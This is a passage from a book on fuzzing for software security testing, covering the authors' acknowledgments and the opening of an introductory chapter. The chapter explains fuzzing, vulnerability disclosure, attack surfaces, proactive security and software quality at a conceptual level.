assignments. I would like to thank everyone involved at Artech House, and all the other peo- ple who patiently helped with all the editing and reviewing, and impatiently reminded about all the missed deadlines during the process. Special thanks to Dr. Boris Beizer for the useful dialog on how syntax testing (and fuzzing) was done in the early 70s, and to Michael Howard for the review comments. Finally, thanks Jared and Charlie for joining me in this project. Although it was slow and painful at times, it certainly was more fun than anything else. From Jared DeMott Jared would like to thank God and those he’s known. The Lord formed me from dust and my family, friends, co-workers, classmates, and students have shaped me from there. Special thanks to Ari, Charlie, and Artech for working hard to keep the book project on track. Thanks to my beautiful wife and two energetic boys for supporting xxi all of my career endeavors, and thanks to our parents for giving us much needed breaks and support. Our goal is that readers of this book will receive a well-rounded view of comput- ing, security, software development, and of course an in-depth knowledge of the art and science of this evolving branch of dynamic software testing known as fuzzing. From Charlie Miller I’d like to thank my family for their love and support. They make everything worth while. I’d also like to thank JRN, RS, JT, OB, and EC for teaching me this stuff. Finally, thanks to Michael Howard for his insightful comments while editing. xxii Acknowledgments C H A P T E R 1 Introduction Welcome to the world of fuzzing! In a nutshell, the purpose of fuzzing is to send anomalous data to a system in order to crash it, therefore revealing reliability prob- lems. Fuzzing is widely used by both security and by quality assurance (QA) experts, although some people still suffer from misconceptions regarding its capa- bilities, effectiveness, and practical implementation. Fuzzing can be defined as A highly automated testing technique that covers numerous boundary cases using invalid data (from files, network protocols, API calls, and other targets) as applica- tion input to better ensure the absence of exploitable vulnerabilities. The name comes from modem applications’ tendency to fail due to random input caused by line noise on “fuzzy” telephone lines.1 But before you explore fuzzing further, we ask you to try to understand why you are interested in fuzzing. If you are reading this, one thing is clear: You would like to find bugs in software, preferably bugs that have security implications. Why do you want to find those flaws? Generally, there are three different purposes for looking for these types of defects: 1. Quality Assurance (QA): Testing and securing your internally developed software. 2. System Administration (SA): Testing and securing software that you depend on in your own usage environment. 3. Vulnerability Assessment (VA): Testing and trying to break into someone else’s software or system. We have seen a number of books about fuzzing that are written by security experts for security experts. There are also a handful of books that cover topics rel- evant to fuzzing, written by quality assurance engineers for other quality assurance engineers. Another set of books consists of “hacking cookbooks,” which teach you to use a set of tools without providing much original content about the topic at hand. In real life, testing practices are not that different from security assessment practices, or from hacking. All three require some theoretical knowledge, and some information on the available tools, as it is not efficient to continuously reinvent the wheel and develop our own tools for every task that arises. 1 1Peter Oehlert, “Violating Assumptions with Fuzzing,” IEEE Security & Privacy (March/April 2005): 58–62. In this book, we will look at fuzzing from all of these perspectives. No matter what your purpose and motivation for fuzzing, this is the book for you. We will view fuzzing from a developer’s perspective, as well as through the eyes of an enter- prise end user. We will also consider the requirements of a third-party assessment team, whether that is a testing consultant or a black-hat hacker. One goal of this book is to level the playing field between software companies (testers) and vulner- ability analysts (hackers). Software testers can learn from the talents of hackers, and vice versa. Also, as end users of software, we should all have access to the same bug-hunting knowledge and experience through easy-to-use tools. Why did we choose fuzzing as the topic for this book? We think that fuzzing is the most powerful test automation tool for discovering security-critical problems in software. One could argue that code auditing tools find more flaws in code, but after comparing the findings from a test using intelligent fuzzing and a thorough code audit, the result is clear. Most findings from code auditing tools are false pos- itives, alerts that have no security implications. Fuzzing has no such problem. There are no false positives. A crash is a crash. A bug is a bug. And almost every bug found with fuzzing is exploitable at some level, at minimum resulting in denial of service. As fuzzing is generally black-box testing, every flaw is, by definition, remotely exploitable, depending, of course, on the interface you are fuzzing and to some extent on your definition of exploitation. Fuzzing is especially useful in ana- lyzing closed-source, off-the-shelf software and proprietary systems, because in most cases it does not require any access to source code. Doesn’t that sound almost too good to be true? In this chapter we will present an overview of fuzzing and related technologies. We will look at why security mistakes happen and why current security measures fail to protect us from security compromises that exploit these mistakes. We will explore how fuzzing can help by introducing proactive tools that anyone can use to find and eliminate security holes. We will go on to look where fuzzing is currently used, and why. Finally, we will get a bit more technical and review the history of fuzzing, with focus on understanding how various techniques in fuzzing came into existence. Still, remember that the purpose of this chapter is only to provide an overview that will prepare you for what is coming later in the book. Subsequent chapters will provide more details on each of these topics. 1.1 Software Security As stated before, fuzzing is a great technique for finding security-critical flaws in any software rapidly and cost effectively. Unfortunately, fuzzing is not always used where it should be used, and therefore many systems we depend on are immature from a security perspective. One fact has emerged from the security field: Software will always have security problems. Almost all software can be hacked easily. But if you become familiar with the topic of software security and the related tech- niques, you might be able to make a difference on how many of those parasitic security mistakes eventually remain in the software. This is what software security is about. 2 Introduction Very few people today know what software security really is, even if they are so-called “security experts.” Like the maps in ancient history used to warn, the dan- gerous area just outside the map is sometimes best left alone. The uncharted territory just read, “Here be dragons,” meaning that you should not venture there. It is too scary or too challenging. Fortunately for software security, the age of darkness is over because the first explorers risked their souls and delved into the mystic lands of hacking, trying to explain security to ordinary software developers. First, they were feared for their new skills, and later they were blamed for many of the dangerous findings they encountered. Even today they are thought to possess some secret arts that make them special. But what they found was not that complex after all. Well, in our defense we have to say that we have explored the wilderness for more than ten years; so one could say that we are familiar with the things beyond the normal scope of software engineering and that we know the field well. We have looked at software security from an academic and commercial fuzzer developer per- spective, but also through the eyes of a security consultant, a contract hacker, and an independent analyst. Grab a book on secure programming, or one of the few good books on security, and you will be amazed how simple it is to improve software secu- rity through secure programming practices. Software security is a highly desirable topic to learn. The only thing you need is motivation and a will to learn. Young chil- dren could master those skills (and they continue to do so). Anyone can find a unique new vulnerability in almost any piece of commercial software and write an exploit for it. Anyone can even write worms or viruses with some focus on the topic. If you do not know what a vulnerability is, or what an exploit is, or even how to use one, you might be better off reading some other security-related book first. Don’t have patience for that? Well, we will do our best to explain along the way. But first, let us look at what solutions are available out there. Software security can be introduced at various phases and places, starting from research and devel- opment (R&D), then entering the test-lab environment, and finally in the opera- tions phase (Figure 1.1). In R&D, fuzzing can be used both in the early prototyping phase and in the implementation phase, where the majority of programming takes place. In fact, immediately when the first operational prototype is ready, it can be fuzzed. But a 1.1 Software Security 3 Figure 1.1 Phases in the software life cycle, and the resulting places for using fuzzing. more natural tool for software security in this phase is a source code auditing tool, which we will discuss later. One thing common in R&D environments is that devel- opers themselves use the tools at this stage. Testing as an activity takes place throughout all phases of the software life cycle. Although most programmers conduct the first unit tests as part of R&D, a dedicated team typically performs most of the remaining testing efforts.2 A test lab environment can be quite different from an R&D environment. In a test lab, a sys- tem can be tested with any available tools, and the test results can be analyzed with all possible metrics selected for use. A test lab may contain expensive, dedicated tools for load and performance testing, as well as fuzzing. Indeed, some commer- cial fuzzers have been implemented as fixed test appliances for traditional test lab environments. In operations, various post-deployment techniques are used to increase soft- ware security. Vulnerability scanners or security scanners such as Nessus3 are most commonly used in a live environment. An important criterion for test tools in an operational environment is that they should not disrupt the operation of critical services. Still, penetration testing services are often conducted against live systems, as they need to validate the real environment from real threats. This is because not all problems can be caught in the controlled confines of a test lab. Similarly, fuzzing should be carefully considered for operational environments. It may be able to find more flaws than when compared to a test lab, but it will most probably also disrupt critical services. Never forget that there is no silver bullet solution for security: Not even fuzzing can guarantee that there are no flaws left in the software. The fast-paced world of technology is changing, growing, and constantly evolving, for better or worse. This is good news for testers: People will be writing new software for the foreseeable future. And new software inevitably brings new bugs with it. Your future careers are secured. Software is becoming more complex, and the number of bugs is thought to be directly proportional to lines of code. The security testing tools you have will also improve, and as you will see, fuzzing tools certainly have evolved during the past 20 years. 1.1.1 Security Incident The main motivation for software security is to avoid security incidents: events where someone can compromise the security of a system through active attacks, but also events where data can be disclosed or destroyed through mistakes made by people, or due to natural disasters such as floods or tornadoes. Active compromises are the more significant factor for discussions related to fuzzing. “Accidental” inci- dents may arise when software is misconfigured or a single bit among massive 4 Introduction 2The exact proportion of testing intermixed with actual development and testing performed by dedicated testers depends on the software development methodology used and the organizational structure of the development team. 3Nessus Security scanner is provided by Tenable Security and is available at www.nessus.org amounts of data flips due to the infamous alpha-particles, cosmic rays, or other mysterious reasons and result in the crash of a critical service. Accidental incidents are still quite rare events, and probably only concernservice providers handling mas- sive amounts of data such as telecommunication. The related threat is minimal, as the probability of such an incident is insignificant. The threat related to active attacks is much more severe. Software security boasts a mixture of terms related to security incidents. Threats are typically related to risks of loss for an asset (money, data, reputation). In a secu- rity compromise, this threat becomes realized. The means of conducting the com- promise is typically done through an attack, a script or malicious code that misuses the system, causing the failure, or potentially even resulting in the attacker’s taking control of the system. An attack is used to exploit a weakness in the system. These weaknesses are called software vulnerabilities, defects, or flaws in the system. Example threats to assets include • Availability of critical infrastructure components; • Data theft using various technical means. Example attacks are the actual exploitation tools or means: • Viruses and worms that exploit zero-day flaws; • Distributed Denial of Service (DDoS) attacks. Vulnerabilities can be, for example, • Openness of wireless networks; • Processing of untrusted data received over the network; • Mishandling of malicious content received over the network. Even the casual security hackers are typically one step ahead of the system administrators who try to defend their critical networks. One reason for that is the easy availability of vulnerability details and attack tools. You do not need to keep track of all available hacking tools if you know where you can find them when you need them. However, now that computer crime has gone professional, all tools might not be available to the good guys anymore. Securing assets is becoming more challenging, as white-hat hacking is becoming more difficult. 1.1.2 Disclosure Processes There are hundreds of software flaws just waiting to be found, and given enough time they will be found. It is just a matter of who finds them and what they do with the findings. In the worst case, each found security issue could result in a “patch and penetrate” race: A malicious user tries to infiltrate the security of the services before the administrators can close the gaping holes, or a security researcher keeps reporting issues to a product vendor one by one over the course of many months or years, forcing the vendor to undergo a resource-intensive patch testing, potential recertification, and worldwide rollout process for each new reported issue. 1.1 Software Security 5 Three different models are commonly used in vulnerability disclosure processes: 1. No disclosure: No details of the vulnerability, nor even the existence of the vulnerability, are disclosed publicly. This is often the case when vulnerabil- ities are found internally, and they can be fixed with adequate time and prioritization. The same can also happen if the disclosing organization is a trusted customer or a security expert who is not interested in gaining fame for the findings. People who do not like the no-disclosure model often argue that it is difficult for the end users to prioritize the deployment of updates if they do not know whether they are security-related and that companies may not bother to fix even critical issues quickly unless there is direct pressure from customers to do so. 2. Partial disclosure: This is the most common means of disclosure in the industry. The vendor can disclose the nature of the correction and even a workaround when a proper correction is not yet available. The problem with partial disclosure is that hackers can reverse-engineer the corrections even when limited information is given. Most partial disclosures end up becoming fully known by those who are interested in the details and have the expertise to understand them. 3. Full disclosure: All details of the vulnerability, including possible exploita- tion techniques, are disclosed publicly. In this model, each reader with enough skill can analyze the problem and prioritize it accordingly. Some- times users decide to deploy the vendor-provided patches, but they can also build other means of protecting against attacks targeting the vulnerability, including deploying IDS/IPS systems or firewalls. From an end-user perspective, there are several worrying questions: Will an update from the vendor appear on time, before attackers start exploiting a reported vulnerability? Can we deploy that update immediately when it becomes available? Will the update break some other functionality? What is the total cost of the repair process for our organization? As a person conducting fuzzing, you may discover a lot of critical vulnerabili- ties that can affect both vendors and end users. You may want to consider the con- sequences before deciding what to do with the vulnerabilities you find. Before blowing the whistle, we suggest you familiarize yourself with the works done on vulnerability disclosure at Oulu University Secure Programming Group (OUSPG).4 1.1.3 Attack Surfaces and Attack Vectors Now that we have explained how software vulnerabilities affect us and how they are announced, let’s take a close look at the nature of vulnerabilities in software. Vulnerabilities have many interesting aspects that could be studied, such as the level of exploitability and the mode of exploitability. But one categorization is the most important—the accessibility of the vulnerability. Software vulnerabilities have secu- 6 Introduction 4Vulnerability disclosure publications and discussion tracking, maintained by University of Oulu since 2001. Available at www.ee.oulu.fi/research/ouspg/sage/disclosure-tracking rity implications only when they are accessible through external interfaces, as well as when triggers can be identified and are repeatable. Fuzzing enables software testers, developers, and researchers to easily find vul- nerabilities that can be triggered by malformed or malicious inputs via standard interfaces. This means that fuzzing is able to cover the most exposed and critical attack surfaces in a system relatively well. Attack surface has several meanings, depending on what is analyzed. To some, attack surface means the source code fin- gerprint that can be accessed through externally accessible interfaces. This is where either remote or local users interact with applications, like loading a document into a word processor, or checking email from a remote mail server. From a system test- ing standpoint, the total attack surface of a system can comprise all of the individ- ual external interfaces it provides. It can consist of various network components, various operating systems and platforms running on those devices, and finally, all client applications and services. Interfaces where privilege changes occur are of particular interest. For example, network data is unprivileged, but the code that parses the network traffic on a server always runs with some privilege on its host computer. If an attack is possible through that network-enabled interface—for example, due to a vulnerability in message pars- ing code—an unprivileged remote user could gain access to the computer doing the parsing. As a result, the attacker will elevate its privileges into those of the compro- mised process. Privilege elevation can also happen from lower privileges into higher privileges on the same host without involving any network interfaces. An example of fuzzing remote network-enabled attack surfaces would be to send malformed web requests to a web server, or to create malformed video files for viewing in a media player application. Currently, dozens of commercial and free fuzz testing frameworks and fuzz-data generators of highly varying testing capabil- ity exist. Some are oriented toward testing only one or a few interfaces with a spe- cialized and predefined rule set, while some are open frameworks for creating fuzz tests for any structured data. The quality of tests can vary depending on the com- plexity of the interface and the fuzzing algorithms used. Simple tools can prove very good at testing simple interfaces, for which complex tools could be too time- consuming or expensive. On the other hand, a complex interface can only be tested thoroughly with a more capable fuzzing system. The various routes into a system, whether they are remote or local, are called attack vectors. A local vector means that an attacker already has access to the sys- tem to be able to launch the attack. For instance, the attacker may possess a user- name and password, with which he or she can log into the system locally or remotely. Another option is to have access to the local user interface of the system. Note that some user interfaces are realized over the network, meaning that they are not local. The attacker can also have access to a physical device interface such as a USB port or floppy drive. As an example, a local attack vector can consist of any of the following: 1. Graphical User Interface (GUI); 2. Command Line User Interface (CLI); 3. Programming Interfaces (API); 4. Files; 1.1 Software Security 7 5. Local network loops (RPC, Unix sockets or pipes, etc.); 6. Physical hardware access. Much more interesting interfaces are those that are accessible remotely. Those are what fuzzing has traditionally focused on. Note that many local interfaces can also be accessed remotely through active content (ActiveX, JavaScript, Flash) and by fooling people into activating malicious content (media files, executables). Most common categories of remote interfaces that fuzzers test are displayed in Figure 1.2. 1. Web applications: Web forms are still the most common attack vector. Almost 50% of all publicly reported vulnerabilities are related to various packaged or tailored web applications. Almost all of those vulnerabilities have been discovered using various forms of fuzzing. 2. Digital media: File formats are transferred as payloads over the network, e.g., downloaded over the web or sent via email. There are both open source and commercial fuzzers available for almost any imaginable file format. Many fuzzers include simple web servers or other tools to automatically send the malicious payloads over the network, whereas other file fuzzers are completely local. Interesting targets for file fuzzers are various media gateways that cache, proxy, and/or convert various media formats, anti- virus software that has to be able to separate valid file contents from mal- ware, and, of course, various widely used operating system components such as graphics libraries or metadata indexing services. 3. Network protocols: Standardization organizations such as IETF and 3GPP have specified hundreds of communication protocols that are used every- where in the world. A network protocol fuzzer can be made to test both client- and server-side implementations of the protocol. A simple router on the network can depend on dozens of publicly open protocol interfaces, all of which are extremely security critical due to the requirement of the router being available for any remote requests or responses. 4. Wireless infrastructure: All wireless networks are always open. Fuzzing has been used to discover critical flaws in Bluetooth and 802.11 WLAN (WiFi) implementations, for example, with these discoveries later emerging as sophisticated attack tools capable of exploiting wireless devices several miles away. Wireless devices are almost always embedded, and a flaw found in a wireless device has the potential of resulting in a total corrup- 8 Introduction Figure 1.2 Categories of remote attack vectors in most network-enabled systems. tion of the device. For example, a flaw in an embedded device such as a Bluetooth-enabled phone can totally corrupt the memory of the device with no means of recovery. Fuzzers are already available for well over one hundred different attack vectors, and more are emerging constantly. The hottest trends in fuzzing seem to be related to communication interfaces that have just recently been developed. One reason for that could be that those technologies are most immature, and therefore security flaws are easy to find in them. Some very interesting technologies for fuzzers include • Next Generation Networks (Triple-Play) such as VoIP and IPTV; • IPv6 and related protocols; • Wireless technologies such as WiFi, WiMAX, Bluetooth, and RFID; • Industrial networks (SCADA); • Vehicle Area Networks such as CAN and MOST. We will not list all the various protocols related to these technologies here, but if you are interested in finding out which protocols are the most critical ones for you, we recommend running a port scanner5 against your systems, and using net- work analyzers6 to monitor the actual data being sent between various devices in your network. 1.1.4 Reasons Behind Security Mistakes Clearly, having security vulnerabilities in software is a “bad thing.” If we can define the attack surface and places where privilege can be elevated, why can’t we simply make the code secure? The core reason is that the fast evolution of com- munications technologies has made software overwhelmingly complex. Even the developers of the software may not understand all of the dependencies in the com- munication infrastructure. Integration into off-the-shelf platforms and operating systems brings along with it unnecessary network services that should be shut down or secured before deploying the products and services. Past experience has shown that all complex communication software is vulnerable to security inci- dents: The more complex a device is, the more vulnerable it usually proves in prac- tice. For example, some security solutions are brought in to increase security, but they may instead enable new vulnerabilities due to their complexity. If a thousand lines of code have on average between two to ten critical defects, a product with millions of lines of code can easily contain thousands of flaws just waiting to be found. For secure solutions, look for simple solutions over complex ones, and min- imize the feature sets instead of adding anything unnecessary. Everything that is not used by majority of the users can probably be removed completely or shut down by default. If you cannot do that or do not want to do that, you have to test (fuzz) that particular feature very thoroughly. 1.1 Software Security 9 5One good free port scanner is NMAP. Available at http://insecure.org/nmap 6A popular network analyzer is Wireshark. Available at www.wireshark.org Standardization and harmonization of communications have their benefits, but there is also a downside to them. A standardized homogeneous infrastructure can be secure if all possible best practices are in place. But when security deployment is lacking in any way, such an environment can be disrupted with one single flaw in one single standard communication interface. Viruses and worms often target widely deployed homogeneous infrastructures. Examples of such environments include e-mail, web, and VoIP. A unified infrastructure is good from a security point of view only if it is deployed and maintained correctly. Most people never update the software in their mobile phones. Think about it! Some people do not even know if they can update the software on their VoIP phones. If you do not want to update all those devices every week, it might be beneficial to try to fuzz them, and maybe fix several flaws in one fell swoop. Open, interconnected wireless networks pose new opportunities for vulnerabil- ities. In a wireless environment, anyone can attack anyone or anything. Wireless is by definition always open, no matter what authentication and encryption mecha- nisms are in place. For most flaws that are found with fuzzing in the wireless domain, authentication is only done after the attack has already succeeded. This is because in order to attempt authentication or encryption, input from an untrusted source must be processed. In most cases the first message being sent or received in wireless communications is completely anonymous and unauthenticated. If you do not need wireless, do not use it. If you need to have it open, review the real opera- tion of that wireless device and at minimum test the handling of pre-authentication messages using fuzzing. Mobility will increase the probability of vulnerabilities, but also will make it eas- ier to attack those devices. Mobile devices with complex communication software are everywhere, and they often exist in an untrusted environment. Mobility will also enable anonymity of users and devices. Persons behind security attacks cannot be tracked reliably. If you have a critical service, it might be safer to ask everyone to authenticate himself or herself in a secure fashion. At minimum, anything that can be accessed anonymously has to be thoroughly tested for vulnerabilities. 1.1.5 Proactive Security For an enterprise user, there are typically two different measures available for pro- tecting against security incidents: reactive and proactive. The main difference between reactive security measures and proactive security measures is who is in control of the process. In reactive measures, you react to external events and keep running around putting fires out. In proactive security measures, you take a step back and start looking at the system through the eyes of a hacker. Again, a hacker in this sense is not necessarily a criminal. A hacker is a person who, upon hearing about a new technology or a product, will start having doubts on the marketing terms and specifications and will automatically take a proactive mindset into ana- lyzing various technologies. Why? How? What if? These are just some of the ques- tions someone with this mindset will start to pose to the system. Let us take a look at the marketing terms for proactive security from various commercial fuzzer companies: 10 Introduction XXX enables companies to preemptively mitigate unknown and published threats in products and services prior to release or deployment—before systems are exposed, outages occur, and zero-day attacks strike. By using YYY, both product developers and end users can proactively verify secu- rity readiness before products are purchased, upgraded, and certainly before they are deployed into production environments. In short, proactive, pre-deployment, or pre-emptive software security equals to catching vulnerabilities earlier in the software development life cycle (SDLC), and catching also those flaws that have not been disclosed publicly, which traditional reactive security measures cannot detect. Most traditional security solutions attempt to detect and block attacks, as opposed to discovering the underlying vul- nerabilities that these attacks target (Figure 1.3). A post-deployment, reactive solution depends on other people to ask the ques- tions critical for security. An example of a reactive solution is a signature based anti-virus system. After a new virus emerges, researchers at the security vendor start poking at it, trying to figure out what makes it tick. After they have analyzed the new virus, they will make protective measures, trying to detect and eliminate the virus in the network or at a host computer. Another example of a reactive solution is an Intrusion Detection System (IDS) or an Intrusion Prevention System (IPS). These systems look for known exploits and block them. They do not attempt to identify which systems are vulnerable or what vulnerabilities exist in software. One could argue that even a firewall is reactive solution, although the pace of development is much slower. A firewall protects against known attacks by filtering communica- tion attempts at the perimeter. The common thread with most post-deployment security solutions is that they all target “attacks,” and not “vulnerabilities.” They are doomed to fail because of that significant difference. Every time there is a unique vulnerability discovered, there will be hundreds, if not thousands of attack variants trying to exploit that worm-sized hole. Each time a new attack emerges, the retroactive security vendors will rush to analyze it and deploy new fingerprints to their detection engines. But based on studies, unfortunately they only detect less than 70% of attacks, and are often between 30 and 60 days late.7 1.1 Software Security 11 Figure 1.3 Reactive post-deployment versus proactive pre-deployment security measures. 7“Anti-Virus Is Dead; Long Live Anti-Malware.” Published by Yankee Group. Jan. 17, 2007. www.marketresearch.com/map/prod/1424773.html One could argue that security scanners (or vulnerability scanners) are also proactive security tools. However, security scanners are still mostly based on known attacks and exhibit the same problems as other reactive security solutions. A security scanner cannot find a specific vulnerability unless the vulnerability is publicly known. And when a vulnerability becomes known, attacks usually already exist in the wild exploiting it. That does not sound very proactive, does it? You still depend on someone else making the decisions for you, and in their analyzing and protecting your assets. Security scanners also look for known issues in stan- dard operating systems and widely used hosts, as data on known vulnerabilities is only available for those platforms. Most tests in security scanners are based on passive probing and fingerprinting, although they can contain active hostile tests (real exploits) for selected known issues. Security scanners cannot find any un- known issues, and they need regular updating of threats. Security scanners also rarely support scanning anything but very popular operating systems and selected network equipment. An additional recent problem that is becoming more and more challenging for reactive security solutions that depend on public disclosure is that they do not know the problems (vulnerabilities) anymore. This is because the “public disclosure movement” has finally died down. However, raising awareness about security mis- takes can only be a good thing. Public disclosure is fading because very few people actually benefit from it. Manufacturers and software developers do not want to pub- lish the details of vulnerabilities, and therefore today we may not know if they have fixed the problems or not. Hackers do not want to publish the details, as they can sell them for profit. Corporate enterprise customers definitely do not want to pub- lish any vulnerability details, as they are the ones who will get damaged by any attacks leading to compromises. The only ones who publish details are security companies trying to make you believe they actually have something valuable to offer. Usually, this is just bad and irresponsible marketing, because they are getting mostly second-hand, used vulnerabilities that have already been discovered by var- ious other parties and exploited in the wild. A proactive solution will look for vulnerabilities and try to resolve them before anyone else learns of them and before any attacks take place. As we said, many enterprise security measures fail because they are focused on known attacks. A truly proactive approach should focus on fixing the actual flaws (unknown zero-day vul- nerabilities) that enable these attacks. An attack will not work if there is no under- lying vulnerability to exploit. Vulnerability databases indicate that programming errors cause 80% of vulnerabilities, so the main focus of security solutions should probably be in that category of flaws. Based on research conducted at the PROTOS project and also according to our experience at commercial fuzzing companies, 80% of software will crash when tested via fuzzing. That means we can find and eliminate many of those flaws with fuzzing, if we spend the effort in deploying fuzzing. 1.1.6 Security Requirements We have discussed fuzzing and its uses, but the truth is not all software is security- critical, and not all software needs fuzzing. Just as is the case with all security meas- ures, introducing fuzzing into development or deployment processes needs to be 12 Introduction based on the requirement set for the system. Unfortunately, traditional security requirements are feature-driven and do not really strike a chord with fuzzing. Typical and perhaps the most common subset of security requirements or secu- rity goals consists of the following: confidentiality, integrity, and availability. Fuzzing directly focuses on only one of these, namely availability, although many vulnerabilities found using fuzzing can also compromise confidentiality and integrity by allowing an attacker to execute malicious code on the system. Furthermore, the tests used in fuzzing can result in corrupted databases, or even in parts of the mem- ory being sent back to the fuzzer, which also constitute attacks against confidential- ity and integrity. Fuzzing is much closer to the practices seen in quality assurance than those related to traditional security requirements. This may have been one of the main reasons why fuzzing has not been widely adopted so far in software engineering processes: Security people have mostly driven its deployment. Without solid requirements to fulfill, you only end up with a new tool with no apparent need for it. The result is that your expensive fuzzer equipment ends up just collecting dust in some far-away test lab. 1.2 Software Quality Thrill to the excitement of the chase! Stalk bugs with care, methodology, and rea- son. Build traps for them. . . . Testers! Break that software (as you must) and drive it to the ultimate—but don’t enjoy the programmer’s pain. Boris Beizer8 People who are not familiar with testing processes might think that the purpose of testing is to find flaws. And the more flaws found, the better the testing process is. Maybe this was the case a long time ago, but today things are different. Modern testing is mostly focused on two things: verification and validation (V&V). Although both terms are used ambiguously, there is an intended difference. Verification attempts to answer the question: “Did we build the product right?” Verification is more focused on the methods (and in the existence of these methods), such as checklists, general process guidelines, industry best practices, and regula- tions. Techniques in verification ensure that the development, and especially the qual- ity assurance process, is correct and will result in reduction of common mistakes. Validation, on the other hand, asks: “Did we build the right product?” The focus is on ensuring and documenting the essential requirements for the product and in building the tests that will check those requirements. For any successful val- idation testing, one needs to proactively define and document clear pass/fail crite- ria for all functionality so that eventually when the tests are done, the test verdicts can be issued based on something that has been agreed upon beforehand. Unfortunately, fuzzing does not fit well into this V&V model, as we will see here, and later in more detail in Chapter 3. 1.2 Software Quality 13 8Quote is from Software Testing Techniques, 2nd ed., Boris Beizer, International Thomson Com- puter Press. 1990. Abbreviated for brevity. Testing is a time-consuming process that has been optimized over time at the same time that software has become more complex. With increasing complexity, devising a completely thorough set of tests has become practically impossible. Soft- ware development with a typical waterfall model and its variants—such as the iter- ative development process—proceed in phases from initial requirements through specification, design, and implementation, finally reaching the testing and post- deployment phases. These phases are rarely completely sequential in real-life devel- opment, but run in parallel and can revisit earlier steps. They can also run in cycles, such as in the spiral model. Due to this, the requirements that drive testing are drafted very early in the development process and change constantly. This is extremely true for various agile processes, where test requirements may be only rarely written down due to the fast change process. If we look at fuzzing from a quality assurance perspective, fuzzing is a branch of testing; testing is a branch of quality control; quality control is a branch of qual- ity assurance. Fuzzing differs from other testing methods in that it • Tends to focus on input validation errors; • Tends to focus on actual applications and dynamic testing of a finished product; • Tends to ignore the responses, or valid behavior; • Concentrates mostly on testing interfaces that have security implications. In this section, we’ll look at different kinds of testing and auditing of software from a tester’s perspective. We will start with identifying how much you need to test (and fuzz) based on your needs. We will then define what a testing target is and fol- low that up with some descriptions of different kinds of testing as well as where fuzzing fits in with these definitions. Finally, we will contrast fuzzing with more traditional security measures in software development such as code auditing. 1.2.1 Cost-Benefit of Quality From a quality assurance standpoint, it is vital to understand the benefits from defect elimination and test automation. One useful study was released in January 2001, when Boehm and Basili reviewed and updated their list of metrics on the ben- efits of proactive defect elimination. Their software defect reduction “Top 10” list includes the following items:9 1. Finding and fixing a software problem after delivery is often 100 times more expensive than finding and fixing it during the requirements and design phase. 2. Current software projects spend about 40% to 50% of their effort on avoidable rework. 3. About 80% of avoidable rework comes from 20% of the defects. 14 Introduction 9Victor R. Basili, Barry Boehm. “Software defect reduction top 10 list.” Computer (January 2001): 135–137. 4. About 80% of the defects come from 20% of the modules, and about half of the modules are defect free. 5. About 90% of the downtime comes from, at most, 10% of the defects. 6. Peer reviews catch 60% of the defects. 7. Perspective-based reviews catch 35% more defects than nondirected reviews. 8. Disciplined personal practices can reduce defect introduction rates by up to 70%. 9. All other things being equal, it costs 50% more per source instruction to develop high-dependability software products than to develop low- dependability software products. However, the investment is more than worth it if the project involves significant operations and maintenance costs. 10. About 40% to 50% of users’ programs contain nontrivial defects. Although this list was built from the perspective of code auditing and peer review (we all know that those are necessary), the same applies to security testing. If you review each point above from a security perspective, you can see that all of them apply to vulnerability analysis, and to some extent also to fuzzing. This is because every individual security vulnerability is also a critical quality issue, because any crash-level flaws that are known by people outside the development organiza- tion have to be fixed immediately. The defects found by fuzzers lurk in an area that current development methods such as peer reviews fail to find. These defects almost always are found only after the product is released and someone (a third party) con- ducts fuzz tests. Security is a subset of software quality and reliability, and the meth- odologies that can find flaws later in the software life-cycle should be integrated to earlier phases to reduce the total cost of software development. The key questions to ask when considering the cost of fuzzing are the following. 1. What is the cost per defect with fuzzing? Some people argue that this met- ric is irrelevant, because the cost per defect is always less than the cost of a security compromise. These people recognize that there are always ben- efits in fuzzing. Still, standard business calculations such as ROI (return on investment) and TCO (total cost of ownership) are needed in most cases also to justify investing in fuzzing. 2. What is the test coverage? Somehow you have to be able to gauge how well your software is being tested and what proportion of all latent problems are being discovered by introducing fuzzing into testing or auditing proc- esses. Bad tests done with a bad fuzzer can be counterproductive, because they waste valuable testing time without yielding any useful results. At worst case, such tests will result in over-confidence in your product and arro- gance against techniques that would improve your product.10 A solid fuzzer with good recommendations and a publicly validated track record will likely prove to be a better investment coverage-wise. 1.2 Software Quality 15 10We often hear comments like: “We do not need fuzzing because we do source code auditing” or “We do not need this tool because we already use this tool,” without any consideration if they are complementary products or not. 3. How much should you invest in fuzzing? The motivation for discussing the price of fuzzing derives from the various options and solutions available in the market. How can you compare different tools based on their price, overall cost of usage, and testing efficiency? How can you compare the total cost of purchasing an off-the-shelf commercial fuzzer to that of adopting a free fuzzing framework and hiring people to design and imple- ment effective tests from the ground up? Our experience in the market has shown that the price of fuzzing tools is not usually the biggest issue in com- parisons. In commercial fuzzing, the cheapest tools usually prove to be the simplest ones—and also without exception the worst ones from a testing coverage, efficiency, and professional testing support standpoint. Commer- cial companies looking for fuzz testing typically want a fuzzer that (a) sup- ports the interfaces they need to test, (b) can find as many issues as possible in the systems they test, and (c) are able to provide good results within a reasonable timeframe. There will always be a place for both internally built tools and commercial tools. A quick Python11 script might be better suited to fuzz a single isolated custom application. But if you are testing a complex communication protocol implementa- tion or a complete system with lots of different interfaces, you might be better off buying a fuzzing tool from a commercial test vendor to save yourself a lot of time and pain in implementation. Each option can also be used at different phases of an assessment. A sample practice to analyze fuzzing needs is to 1. Conduct a QA risk analysis, and as part of that, possibly conduct necessary ad-hoc tests; 2. Test your product thoroughly with a commercial testing tool; 3. Hire a professional security auditing firm to do a second check of the results and methods. 1.2.2 Target of Test In some forms of testing, the target of testing can be any “black box.” All various types of functional tests can be directed at different kinds of test targets. The same applies for fuzzing. A fuzzer can test any applications, whether they are running on top of web, mobile, or VoIP infrastructure, or even when they are just standalone software applications. The target of a test can be one single network service, or it can be an entire network architecture. Common names used for test targets include • SUT (system under test). An SUT can consist of several subsystems, or it can represent an entire network architecture with various services running on top of it. An SUT can be anything from banking infrastructure to a complex telephony system. SUT is the most abstract definition of a test target, because it can encompass any number of individual destinations for the tests. 16 Introduction 11We mention Python as an example script language due to the availability of PyDBG by Pedram Amini. See PaiMei documentation for more details: http://pedram.redhive.com/PaiMei/docs • DUT (device under test). A DUT is typically one single service or a piece of equipment, possibly connected to a larger system. Device manufacturers mainly use the term DUT. Some examples of DUTs include routers, WLAN access points, VPN gateways, DSL modems, VoIP phones, web servers, or mobile handsets. • IUT (implementation under test). An IUT is one specific software implemen- tation, typically the binary representation of the software. It can be a process running on a standard operating system, or a web application or script run- ning on an application server. In this book, we will most often refer to a test target as an SUT, because this term is applicable to all forms of test 